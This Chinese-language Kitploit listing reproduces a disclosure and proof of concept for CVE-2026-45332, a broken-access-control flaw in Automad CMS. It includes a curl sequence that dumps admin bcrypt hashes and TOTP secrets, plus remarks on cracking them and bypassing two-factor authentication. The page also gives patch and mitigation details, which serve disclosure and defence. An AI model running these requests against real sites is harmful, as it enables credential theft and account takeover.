Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-45332-PoC — Proof-of-concept exploit for CVE-2026-45332, a broken access control in Automad CMS allowing unauthenticated dump of admin bcrypt hashes and TOTP secrets. | Kitploit
工具/GitHubGitHub/lorenzocamilli/cve-2026-45332-poc
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingAuthenticationRed Teaming

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHublorenzocamilli/cve-2026-45332-poc

CVE-2026-45332-PoC

Proof-of-concept exploit for CVE-2026-45332, a broken access control in Automad CMS allowing unauthenticated dump of admin bcrypt hashes and TOTP secrets.

查看仓库
2个月前尚未审核

CVE-2026-45332:Automad CMS 中的失效访问控制

CVE-2026-45332 的概念验证,Automad CMS 中的失效访问控制漏洞,允许任何未经身份验证的攻击者通过设置端点转储每个管理员账户的 bcrypt 密码哈希和 TOTP 密钥,该端点在初始配置后永远不会被禁用。

字段值
CVECVE-2026-45332
GHSAGHSA-xm76-r88j-vm3g
产品Automad CMS (composer automad/automad)
受影响版本>= 2.0.0-alpha.1,<= 2.0.0-beta.27
已修补版本2.0.0-beta.28
CVSS 3.17.5 高 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-200(敏感信息泄露),CWE-306(关键功能缺少身份验证)
研究人员Lorenzo Camilli

摘要

Automad 是一个基于文件的 PHP CMS。负责创建第一个管理员账户的设置端点 /_api/user-collection/create-first-user 被注册为永久公共 API 路由。一旦初始配置完成,没有任何防护将其关闭。

在运行中且完全配置的实例上,未经身份验证的 POST 请求到此端点会从磁盘加载整个用户数据库,并将其序列化后返回在 JSON 响应体中,包括:

  • 每个管理员账户的 bcrypt 密码哈希
  • TOTP 密钥(存在于 2.0.0-beta.27)
  • 配置目录的绝对文件系统路径

无需任何事先账户、凭据或特殊网络位置。

根本原因

该路由被放置在 automad/src/server/Routes.php 的 $publicAPIRoutes 数组中,并在条件 AM_PAGE_DASHBOARD 下注册,该常量计算结果为字符串 '/dashboard',因此始终为真。该路由在每个安装中始终保持注册状态,包括设置完成后。

root@kitploit:~
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

User::__serialize() 包含私有字段 passwordHash 和 totpSecret,因此它们会嵌入到返回给调用者的序列化输出中。

完整技术文章:PoC.md。

概念验证

该端点需要有效的 CSRF 令牌和 Automad 会话 cookie,两者均可从公共登录页面自由获取。复现步骤:

root@kitploit:~
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

响应中包含每个已注册管理员的 bcrypt 哈希和 TOTP 密钥,以及绝对配置路径:

root@kitploit:~
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

然后可以离线破解 bcrypt 哈希(使用 Hashcat / John)。在 2.0.0-beta.27 中,泄露的 TOTP 密钥可直接绕过双因素认证。

影响

未经身份验证的远程攻击者可以:

  1. 获取每个管理员的 bcrypt 哈希并离线破解。
  2. 获取 TOTP 密钥并绕过双因素认证(2.0.0-beta.27)。
  3. 获知服务器的绝对文件系统路径,有助于进一步攻击。

修复措施

更新至 Automad 2.0.0-beta.28 或更高版本,该版本在初始设置完成后会限制该端点。作为临时缓解措施,在网络服务器或 WAF 处阻止请求到 /_api/user-collection/create-first-user。

参考资料

  • CVE.org: CVE-2026-45332
  • GitHub Advisory: GHSA-xm76-r88j-vm3g
  • Automad CMS
  • 失效访问控制(OWASP)
下载工具